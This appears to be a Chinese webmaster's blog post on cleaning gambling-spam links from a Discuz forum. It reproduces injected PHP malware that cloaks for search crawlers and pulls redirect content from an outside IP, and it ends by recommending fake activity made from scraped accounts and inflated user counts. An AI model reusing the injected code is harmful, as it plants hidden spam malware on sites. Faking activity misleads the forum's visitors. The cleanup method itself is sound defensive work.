本人亲测有效,原创文章哦~~~
论坛黑链非常的麻烦,如果你的论坛有黑链,那么对不起,百度收录了你的黑链,不会自动删除,需要你手动去清理。
什么是黑链
黑链,顾名思义,就是一些赌博网站的外链,这些黑链相当的麻烦,因为百度收录了它们,会降低你的百度权重,甚至K站,如果你用的是国内的空间或者域名,被查到了还可能封站,所以 这个非常的令人头疼,本文通过几个不同的角度,来告诉你怎么清黑链。
找到黑链的源头
我们先要知道黑链的源头究竟在哪里?黑链就像蟑螂,蟑螂喜欢油烟子,喜欢待在厨房里,滋生在下水道里面,无孔不入。那么黑链也是一样,只要你不把源头堵住,那么,无论你再怎么清理,它还是会来的。以Discuz为例,我们来看看 黑链的源头在哪里。首先,我们必须知道,黑链是怎么形成的。黑链有几种形成方式。
- 论坛的漏洞
- 服务器FTP漏洞
- 外链漏洞(DISCUZ插件漏洞)
- 执行脚本漏洞
- 注册漏洞
也许我概括得不太全面,不过基本上是由于这些原因形成的,我不说大话,我就以我现在碰到的漏洞跟大家说一下,我就以一个最常见的论坛注册漏洞跟大家说一下,大家多多少少也见过,或者接触过一种叫做注册机的东西,就是可以批量注册,当然,如果是站长主动想去注册的话,那没问题,因为批量注册用户,是一种提高论坛人气的好方法,但是如果是恶意的,为了发广告而注册的账号,那么就是不好的,所以大家都会用到一些插件,比如拖动滑块验证等。
如果你的FTP密码泄露了,这个是最最麻烦的事情,因为人家都可以进你的云服务器了,你想下,他是不是可以为所欲为呢?那么他们是怎么进入你的云服务器的呢?在你神不知鬼不觉的情况下?我总结了如下原因:
- 撞库攻击;这个很常见,其实如果你在其他网站上用了同样的密码,而这个网站的密码是不安全的,那么你就可能成为受害者。
- 暴力破解;这个也常见,有专门的软件,可以进行暴力破解,所以设置密码的时候,必须要有大小写,而且没有规则的密码,是不容易被破解的,注意密码长度等。
那么Discuz还有一种更NB的被破解的方式,就是直接注入 一段代码到你的PHP文件中,所以这时候,DISCUZ的文件对比功能就起效果了,文件对比功能,是对比你的FTP上的系统文件和DISCUZ官方的文件,看看有没有不同,通常来说,大部分文件,是不需要修改的,如果修改了,那就可以从这里找突破口,看看有没有蛛丝马迹。
通过对比,果然发现有文件被篡改过,真是功夫不负有心人啊,在class_core.php中。
注意最上方的一段代码,这里我把这段PHP粘贴过来,下面这段代码,会让你的网站的快照指向赌博网站的链接,并且,会生成很多很多的不存在的外链。
define('s_u','http://103.192.202.8:88/'); define('s_s','baidu|haosou.com|sogou|yahoo|gogle'); define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p()); function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;} if(eregi(s_s,r_s)){$d_s=true;if(eregi("site%3A|inurl%3A",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s && empty($_COOKIE['xx'])){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header("Location: ".$d_c.'?'.h_t);exit;}}if(strstr(h_z,u_b)){if(eregi(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}} ?>
大家知道下一步是做什么吗?想想智商为负数的人都应该知道,就是把这段代码给删除掉,但是仅仅是删除掉吗?NO,下面的章节将会告诉你详细的操作。
利用百度查询黑链规则
如果我们想要删除黑链,首先必须知道黑链长什么样子,黑链很难自动被删掉,即使你把那些赌博链接的帖子从论坛里面删掉了,你会发现,黑链的快照依旧存储在百度的数据库里面,那么话不多说,给大家推荐一个网址,这个比使用site:www.kmsfan.com 要强多了。http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com 大家把最后的www.kmsfan.com 替换成自己网站的地址就行了。现在我们 来看看黑链 长什么样子。
从上面的黑链举例来说,我们其实可以得到如下信息。
- 黑链入库时间
- 黑链的正则
- 黑链的名称
从黑链的入库时间推算,这个黑链如果我们不主动清除的话,它是几乎 不可能消除的,而且会影响网站后续新帖子的收录。从黑链的正则来看,就是网站域名+thread-帖子ID+页数-1.html,如果大家没玩过DISCUZ的话,可能不知道Discuz论坛有一个伪静态的功能,这个帖子的问题就 在于,它的帖子ID不是正常的ID,因为我论坛总共就5000个帖子,哪来的那么大的ID。从黑链的名称上看,这个是一个赌博链接。
再来看一看另一类黑链:
我们打开它,看看是不是没有帖子:
居然有正常的帖子 !!!这是为什么呢?黑链不指向404,而是一个正常的帖子,这个原因,我个人的看法是,论坛黑链形成的时间比较早,然后已经入了百度的数据库,当时我把这个带有黑链的帖子给删除了,然后过了一段时间,这个帖子的ID又被正常的帖子给占据了,但是因为百度已经默认为:你的网站有黑链,不刷新收录,所以这里看到的,是新的帖子,但是百度里面,还是带有赌博链接的旧的帖子。
利用工具Xenu检测黑链
这个工具适用于黑链数较少的网站,可以手工清除的,首先我们要去检测链接:http://www.baidu.com/s?ie=utf-8&tn=baidulocal&wd=site%3Awww.kmsfan.com,还是利用这个链接,当然了,后面的www.kmsfan.com可以换成你自己的网站的域名,注意勾选:检测外部链接。
注意需要勾选:只显示无效的链接,由于Xenu是外国的,所以人家没有直接生成百度黑链规则的xml,所以只能通过WORD文档去修改了,这一点有点麻烦,而且网站黑链众多的时候,这个也很难做到完美清除。查询就讲到这里,下面会跟大家说说怎么删除黑链。
百度站长工具VS黑链
上面说了这么多,终于进入本话题的重中之重:删除黑链,在删除黑链之前,大家还是需要修补好漏洞,另外告诉大家一个很难被发现的漏洞,大家用过Discuz的人肯定用过php,用过php的人,肯定用过phpMyAdmin这个工具;有人会说,这个工具有什么呢?我告诉大家,这个工具其实就是你在IIS上的一个站点,当你想操作数据库的时候,就要打开它,如果你不在使用后及时关闭这个站点的话,那么后果是灾难性的,我的站点因为这个原因,连管理员都被删除过。所以,大家一定要小心。
闲话不多说,我们还是进入正题吧,百度站长工具其实是一个很好的东西,当然在使用前,你必须先验证你的站点,这个和在CNZZ上面加统计一个意思。先给大家放一张我删除黑链的成果图。
哈哈,大家羡慕了吧,黑链虽然没有全部删完,但是还是成果颇丰的,那么大家会问,你用的什么方式删除的呢?那么快,那么有效果。
利用Robots.txt强力删除
不了解的人也许会笑话我,不就是一个txt文件吗,有这么NB吗?我告诉你:有的,参加上图。那么这个Robots.txt究竟是何方神圣呢?先给大家看看我的Robots.txt
# # robots.txt for Discuz! X3 # User-agent: * Disallow: /api/ Disallow: /data/ Disallow: /source/ Disallow: /install/ Disallow: /template/ Disallow: /config/ Disallow: /uc_client/ Disallow: /uc_server/ Disallow: /static/ Disallow: /admin.php Disallow: /search.php Disallow: /member.php Disallow: /api.php Disallow: /misc.php Disallow: /connect.php Disallow: /forum.php?mod=redirect* Disallow: /forum.php?mod=post* Disallow: /home.php?mod=spacecp* Disallow: /userapp.php?mod=app&* Disallow: /*?mod=misc* Disallow: /*?mod=attachment* Disallow: /*mobile=yes* Disallow: /forum.php?mod=viewthread&tid=* Disallow: /forum.php/forum.php?mod=viewthread&tid=* Disallow: /forum.php/thread-*-2-1.html Disallow: /forum.php/thread-*-3-1.html Disallow: /forum.php/thread-*-4-1.html
其实Discuz已经默认有一个robots.txt了,我只是动了动手脚而已,嘿嘿,我加了如下代码:
Disallow: /forum.php?mod=viewthread&tid=* Disallow: /forum.php/forum.php?mod=viewthread&tid=* Disallow: /forum.php/thread-*-2-1.html Disallow: /forum.php/thread-*-3-1.html Disallow: /forum.php/thread-*-4-1.html
Disallow其实就是不让抓取以这个正则为模板的所有帖子,不过Robots不支持复杂的正则表达式,它非常的简单。大家写完了以后,需要上传并更新此文件,百度还提供了一个测试工具,你可以在线测试此正则是否有效;当然了,不是马上生效哦,估计要1~2个星期,才能起效果,所以,耐心等吧。
利用死链提交工具精确删除
注意,此功能只针对404的链接,如果是因为快照没有更新而造成的收录不匹配,此方法无效。而且此方法只适用于死链较少的网站,这个需要配合Xenu工具,先把死链捞出来,然后使用XML或者TXT格式,上传死链链接。此方法我个人不太推荐,因为如果链接里面有“活的”链接,死链删除会失败。
恢复收录以及网站吸引人气的若干方法
当死链都清除掉了(当然这是个漫长的过程),你需要的只是等待。当然,如果权重高的网站,那么它收录的也快一些,这个时候,你 就需要更多的帖子,更多的人,这样你的网站才会更加的健康和活跃,这样也吸引人气。关于网站吸引人气,如何吸引人气,我作为一个站长,想要驳斥一种观点:关系论。就是说,你可以去招募一大批人,作为写手,来提高网站原创性,不可否认,在网站基本健康的情况下,这个很重要,但是我觉得,关系论只适用于小众站长,因为很多网站没有那么多的活跃用户,也没有那么多写手,这个时候,作为站长来说,可以“虚拟”一些人气出来,我个人的建议(当然纯属个人建议,如果你觉得不妥,可以不这么做),所谓虚拟人气就是这些东西:
- 批量从其他网站抓取用户(当然这里只抓取基本的信息),然后作为会员导入
- 采集文章,帖子,回复,然后定时,定量去采集,回复,这样会让论坛看起来更加活跃
- 论坛可以虚拟一小部分在线用户,然后大批量虚拟游客的数量,自己去体会为什么。
总结
一句话概括:离开了需求,离开了用户,一个只会写代码的程序员,没有任何价值,至少,他不能创造价值。他至少需要懂一点点业务才行。
来源:https://www.cnblogs.com/kmsfan/p/discuz_silian_heilian_clean.html